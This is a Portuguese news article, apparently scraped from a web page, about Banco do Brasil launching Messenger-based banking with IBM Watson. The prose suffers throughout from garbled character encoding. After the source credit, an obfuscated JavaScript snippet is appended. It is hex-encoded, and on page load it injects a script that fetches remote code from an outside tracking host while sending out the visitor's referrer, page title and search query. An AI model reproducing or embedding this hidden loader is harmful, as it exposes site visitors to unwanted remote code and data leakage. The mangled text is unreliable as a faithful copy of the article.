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Banco do Brasil libera transaA�A?o bancA?ria pelo Facebook

Clientes poderA?o consultar saldo da conta corrente e fatura do cartA?o de crA�dito pelo Messenger, app de bate-papo da rede social.

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Gustavo Fosse, diretor de tecnologia do BB, apresenta ferramenta do BB que permite transaA�A�es bancA?rias pelo Facebook.

O Banco do Brasil anunciou nesta quinta-feira (22) uma parceria com o Facebook que permitirA? a seus clientes fazerem transaA�A�es bancA?rias pelo aplicativo de bate-papo Messenger.

Esse serviA�o contarA? com a inteligA?ncia artificial do Watson, da IBM.

Os clientes poderA?o fazer transaA�A�es como:

  • consultar extrato da conta corrente;
  • checar a fatura do cartA?o de crA�dito;
  • solicitar a 2A? via do cartA?o de crA�dito e ativA?-la.

Todas essas operaA�A�es poderA?o ser feitas sem a necessidade de abrir o aplicativo ou o site do banco. No primeiro momento, a ferramenta serA? liberada como um teste para um grupo de mil clientes.

A intenA�A?o A� liberar tambA�m a consulta do saldo da poupanA�a e de recursos investidos em fundos nos prA?ximos dias. No futuro, o Banco do Brasil vai usar inteligA?ncia artificial para fazer sugestA�es de investimento.

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Segundo Gustavo Fosse, diretor de tecnologia do BB, a ferramenta terA? as 50 maiores transaA�A�es feitas pelos clientes do banco.

Como funciona

O que o BB estA? fazendo A� usar robA?s chamados de chatbot. Eles sA?o mA?quinas inteligentes que funcionam apenas em aplicativos de bate-papo para receber pedidos em forma de mensagens.

O Watson, sistema da IBM que possui inteligA?ncia cognitiva, serA? usado pelo banco para entender o que os clientes digitarem.

FuncionarA? assim:

  • ApA?s entrar em contato com o chatbot do BB, o cliente informarA? conta e agA?ncia do banco para que o chatbot entenda de qual cliente se trata;
  • ApA?s selecionar o tipo de transaA�A?o que quer realizar, ele tem de informar a senha da conta;
  • Para aumentar a seguranA�a da operaA�A?o, o banco envia um cA?digo para o celular cadastrado;
  • Somente apA?s o cliente inserir os dA�gitos, o chatbot do BB exibe as informaA�A�es solicitadas;
  • Depois de 10 minutos, os clientes tA?m de informar novamente senha e um novo cA?digo de seguranA�a.

1A? no mundo

a�?O que a gente estA? fazendo aqui A� deixar de pensar na geraA�A?o de canais e nos inserindo na realidade dos nossos clientesa�?, afirma Paulo Caffarelli, presidente do BB.

a�?Quando criamos o app, simplesmente mudamos o canal [das agA?ncias para o smartphone]. As pessoas continuaram a procurar o banco, mas via app. O que muda agora A� que vamos participar da vida das pessoasa�?, explica Gustavo do Vale, vice-presidente do BB.

a�?Ele nA?o precisarA? vir ao banco nem de maneiras digitaisa�?, completa Fosse. Segundo ele, o Banco do Brasil A� o primeiro no mundo a permitir transaA�A�es pelo Facebook.

a�?Os clientes vA?o usar o sistema financeiro sem perceber que estA?o usando o sistema financeiroa�?.

Watson

O Banco do Brasil usa o Watson como seu sistema de inteligA?ncia artificial no serviA�o de atendimento ao cliente via bate-papo no site desde fevereiro de 2017. Para implantar os serviA�os de inteligA?ncia artificial, incluindo o Watson, o BB investiu R$ 14 milhA�es.

Em agosto do ano passado, o banco passou a usar o Watson em atendimentos pelo Messenger. Mas o que ele fazia era apenas tirar dA?vidas pontuais sobre assuntos corriqueiros, como conta corrente e soluA�A?o para dA�vidas.

Desde que passou a ser usado no app de bate-papo do Facebook, o sistema da IBM jA? atendeu 60 mil clientes. Ainda que nA?o fizesse operaA�A�es relacionadas com informaA�A�es dos clientes, jA? era responsA?vel por 70% do atendimento do banco pelo FacebookA� A� A� A� A� A� A� A� A� A� A� A�Fonte: G1

    var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

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